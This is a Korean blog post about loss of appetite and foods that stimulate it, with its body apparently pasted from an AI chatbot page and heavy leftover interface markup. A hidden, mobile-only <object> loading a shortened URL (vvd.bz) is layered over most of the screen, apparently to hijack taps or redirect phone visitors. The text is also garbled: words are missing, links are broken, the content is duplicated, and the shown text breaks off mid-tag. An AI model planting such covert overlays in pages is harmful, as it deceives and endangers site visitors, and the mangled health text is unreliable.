입맛이 없는 이유 입맛없을때 음식 알아봐요

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3b" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">입맛 없을 때 맛있는 음식으로 기분 전환! ️</h2><p data-sourcepos="3:1-4:39">입맛이 없어 고민이시라면, 맛있는 음식으로 활력을 되찾아 보세요! 다양한 음식과 함께, 입맛 없을 때 도움이 되는 정보를 준비했습니다.</p><p data-sourcepos="6:1-6:20"><strong>입맛 없을 때 흔히 찾는 이유</strong></p><ul data-sourcepos="8:1-12:0"> <li data-sourcepos="8:1-8:38"><strong>스트레스:</strong> 과도한 스트레스는 식욕을 떨어뜨릴 수 있습니다.</li> <li data-sourcepos="9:1-9:37"><strong>:</strong> 위염, 간 등의 이 원인일 수 있습니다.</li> <li data-sourcepos="10:1-10:41"><strong>약물 :</strong> 복용하는 약물이 식욕 부진을 유발할 수 있습니다.</li> <li data-sourcepos="11:1-12:0"><strong>피로:</strong> 만성 피로는 식욕 저하를 가져올 수 있습니다.</li> </ul><p data-sourcepos="13:1-13:16"><strong>입맛 돋우는 음식 추천</strong></p><ul data-sourcepos="15:1-34:0"> <li data-sourcepos="15:1-19:13"><strong>새콤한 음식:</strong> <ul data-sourcepos="16:5-19:13"> <li data-sourcepos="16:5-16:43">레몬, 귤 등의 과일은 신맛으로 침샘을 자극하여 식욕을 촉진합니다.</li> <li data-sourcepos="17:5-19:13">피클, 김치 등의 발효 음식도 입맛을 돋우는 데 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://contents.kyobobook.co.kr/sih/fit-in/400x0/pdt/9788955581508.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://product.kyobobook.co.kr/detail/S000000804418"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="새콤한 과일 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSHPyqQzUw4_bpVwk2VQrI6MY9VD8M3LUwBksd3zInLHS9SBK6QMDRoNK_g_A1V"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://product.kyobobook.co.kr/detail/S000000804418" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcQV6Tx65I1UD1pNSJR9yxfDpD3P0BbuhGNU7U73lkn9hV3bydTGanOBQGqRGNDCOU8I6zFnkkzjXviGOt29gKhF3FNt60y8-KJ9yPZbtXoHhHo"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">product.kyobobook.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 새콤한 과일 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember.co.kr/cache/recipe/2021/05/09/df03fbba40f0ac1609f5dfd3175ba0821.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6958051"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="피클 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSNTvlqi-9pa61eDKh4KRVHYBUu6T_t6A4lDoJnYccjWtfEbRuzexp2TZKEbK80"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6958051" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 피클 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="20:1-23:17"><strong>매콤한 음식:</strong> <ul data-sourcepos="21:5-23:17"> <li data-sourcepos="21:5-21:44">고추, 청양고추 등 매운 음식은 뇌에 쾌감을 주어 식욕을 자극합니다.</li> <li data-sourcepos="22:5-23:17">짬뽕, 떡볶이 등 매운 음식은 스트레스 해소에도 도움이 됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember.co.kr/cache/recipe/2018/09/30/36c419ff93146cdcb19061f6cf709d101.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6896829"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="매운 떡볶이 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcR5nYVAd6e8V80EK76lwmlbFos-rB_s_OZu3O5hw0N1qXPp9kd0PPr4crP6Wace"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6896829" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 매운 떡볶이 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="24:1-27:18"><strong>향긋한 음식:</strong> <ul data-sourcepos="25:5-27:18"> <li data-sourcepos="25:5-25:48">파스타, 볶음밥 등 향긋한 향이 나는 음식은 식욕을 돋우는 데 적입니다.</li> <li data-sourcepos="26:5-27:18">허브를 이용한 요리도 좋은 선택입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember.co.kr/cache/recipe/2023/02/27/c5696d2fc293acee4c3de747ce0ccdd01.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6997791"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="향긋한 파스타 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRZqI-rwPG-LZj2F7QP0fPpcX2TIl_FVLU-0o5zXo0QpMBEIorFP56o4m0HkHPV"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6997791" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 향긋한 파스타 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="28:1-30:19"><strong>따뜻한 국물:</strong> <ul data-sourcepos="29:5-30:19"> <li data-sourcepos="29:5-30:19">미역국, 된장찌개 등 따뜻한 국물은 속을 편안하게 해주고 소화를 돕습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://mblogthumb-phinf.pstatic.net/MjAxNzEwMjRfMTE5/MDAxNTA4ODQ0MjQzMTA0.I5Kv8T4FlAobG496sK4hiLXg_t93LVGo9mqY4bqbVccg.DE70f3L_Rpbtb19BWaqM1HGIlBAYDxPQGvLL-A4MdScg.JPEG.kiti817/18_copy.jpg?type=w800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s:///kiti817/221126683553"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="따뜻한 된장찌개 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQLu5OKygZlrXnvtctcZwY6ifoWmRCDHT8XSVT4lZHH4RLZDvP81KO5feuzsNXx"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///kiti817/221126683553" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 따뜻한 된장찌개 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="31:1-34:0"><strong>간단한 간식:</strong> <ul data-sourcepos="32:5-34:0"> <li data-sourcepos="32:5-34:0">과일, 요거트, 견과류 등 간단한 간식은 허기를 달래고 영양을 보충해줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://.nutsandberries.co.kr/shopimages/treenut/075000000034.jpg?1316501668"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.nutsandberries.co.kr/?branduid=122003"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="과일 요거트 견과류 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTjGWCX3ZlJjzXdmAQ3xcs8bXzCgKqjawA40UWK0jThm4szkKn4MxpgiFbGQJDY"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.nutsandberries.co.kr/?branduid=122003" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_d776b4c492cdd20c&quot;,&quot;c_5e57109094b40bab&quot;,null,&quot;rc_fd2cc54e8a06a8a6&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQcg4F7HBpRnP6Bw0Rzb7XJjfEU9AAXAFM_RCk3cWW7Upj7_4lhQ9QFv2y86rUfe-qQEI5cxWT5oA5XEX2bgrfaNwAxsG9nP9z3iGuFfvrriTAD"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.nutsandberries.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 과일 요거트 견과류 </div></div></single-image></response-element></div></li> </ul> </li> </ul><p data-sourcepos="35:1-35:24"><strong>입맛 없을 때 도움이 되는 생활 습관</strong></p><ul data-sourcepos="37:1-41:0"> <li data-sourcepos="37:1-37:55"><strong>규칙적인 식사:</strong> 정해진 시간에 식사를 하면 몸이 식사 시간을 기억하고 식욕이 증가합니다.</li> <li data-sourcepos="38:1-38:58"><strong>충분한 수면:</strong> 수면 부족은 식욕 부진을 유발할 수 있으므로 충분히 잠을 자는 것이 중요합니다.</li> <li data-sourcepos="39:1-39:49"><strong>스트레스 관리:</strong> 명상, 요가 등 스트레스 해소에 도움이 되는 활동을 해보세요.</li> <li data-sourcepos="40:1-41:0"><strong>적절한 운동:</strong> 가벼운 운동은 신체 활동을 증가시켜 식욕을 촉진합니다.</li> </ul><p data-sourcepos="42:1-42:8"><strong>주의사항</strong></p><ul data-sourcepos="44:1-46:0"> <li data-sourcepos="44:1-44:46">입맛이 없음이 2주 이상 지속된다면 병원을 방문하여 진찰을 받는 것이 좋습니다.</li> <li data-sourcepos="45:1-46:0">너무 자극적인 음식은 위에 부담을 줄 수 있으므로 주의해야 합니다.</li> </ul><p data-sourcepos="47:1-47:21"><strong>다양한 음식을 시도해 보세요!</strong></p><p data-sourcepos="49:1-50:30">입맛이 없을 때는 다양한 음식을 조금씩 자주 먹는 것이 좋습니다. 새로운 음식에 도전하며 즐거운 식사 시간을 보내세요!</p><p data-sourcepos="52:1-52:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3b" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c4215967209="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">입맛 없을 때 맛있는 음식으로 기분 전환! ️</h2><p data-sourcepos="3:1-4:39">입맛이 없어 고민이시라면, 맛있는 음식으로 활력을 되찾아 보세요! 다양한 음식과 함께, 입맛 없을 때 도움이 되는 정보를 준비했습니다.</p><p data-sourcepos="6:1-6:20"><strong>입맛 없을 때 흔히 찾는 이유</strong></p><ul data-sourcepos="8:1-12:0"> <li data-sourcepos="8:1-8:38"><strong>스트레스:</strong> 과도한 스트레스는 식욕을 떨어뜨릴 수 있습니다.</li> <li data-sourcepos="9:1-9:37"><strong>:</strong> 위염, 간 등의 이 원인일 수 있습니다.</li> <li data-sourcepos="10:1-10:41"><strong>약물 :</strong> 복용하는 약물이 식욕 부진을 유발할 수 있습니다.</li> <li data-sourcepos="11:1-12:0"><strong>피로:</strong> 만성 피로는 식욕 저하를 가져올 수 있습니다.</li> </ul><p data-sourcepos="13:1-13:16"><strong>입맛 돋우는 음식 추천</strong></p><ul data-sourcepos="15:1-34:0"> <li data-sourcepos="15:1-19:13"><strong>새콤한 음식:</strong> <ul data-sourcepos="16:5-19:13"> <li data-sourcepos="16:5-16:43">레몬, 귤 등의 과일은 신맛으로 침샘을 자극하여 식욕을 촉진합니다.</li> <li data-sourcepos="17:5-19:13">피클, 김치 등의 발효 음식도 입맛을 돋우는 데 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://contents.kyobobook.co.kr/sih/fit-in/400x0/pdt/9788955581508.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://product.kyobobook.co.kr/detail/S000000804418"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="새콤한 과일 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSHPyqQzUw4_bpVwk2VQrI6MY9VD8M3LUwBksd3zInLHS9SBK6QMDRoNK_g_A1V"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://product.kyobobook.co.kr/detail/S000000804418" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQV6Tx65I1UD1pNSJR9yxfDpD3P0BbuhGNU7U73lkn9hV3bydTGanOBQGqRGNDCOU8I6zFnkkzjXviGOt29gKhF3FNt60y8-KJ9yPZbtXoHhHo"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">product.kyobobook.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 새콤한 과일 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember.co.kr/cache/recipe/2021/05/09/df03fbba40f0ac1609f5dfd3175ba0821.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6958051"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="피클 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSNTvlqi-9pa61eDKh4KRVHYBUu6T_t6A4lDoJnYccjWtfEbRuzexp2TZKEbK80"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6958051" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 피클 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="20:1-23:17"><strong>매콤한 음식:</strong> <ul data-sourcepos="21:5-23:17"> <li data-sourcepos="21:5-21:44">고추, 청양고추 등 매운 음식은 뇌에 쾌감을 주어 식욕을 자극합니다.</li> <li data-sourcepos="22:5-23:17">짬뽕, 떡볶이 등 매운 음식은 스트레스 해소에도 도움이 됩니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember.co.kr/cache/recipe/2018/09/30/36c419ff93146cdcb19061f6cf709d101.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6896829"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="매운 떡볶이 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR5nYVAd6e8V80EK76lwmlbFos-rB_s_OZu3O5hw0N1qXPp9kd0PPr4crP6Wace"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6896829" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 매운 떡볶이 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="24:1-27:18"><strong>향긋한 음식:</strong> <ul data-sourcepos="25:5-27:18"> <li data-sourcepos="25:5-25:48">파스타, 볶음밥 등 향긋한 향이 나는 음식은 식욕을 돋우는 데 적입니다.</li> <li data-sourcepos="26:5-27:18">허브를 이용한 요리도 좋은 선택입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://recipe1.ezmember.co.kr/cache/recipe/2023/02/27/c5696d2fc293acee4c3de747ce0ccdd01.jpg"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6997791"><span 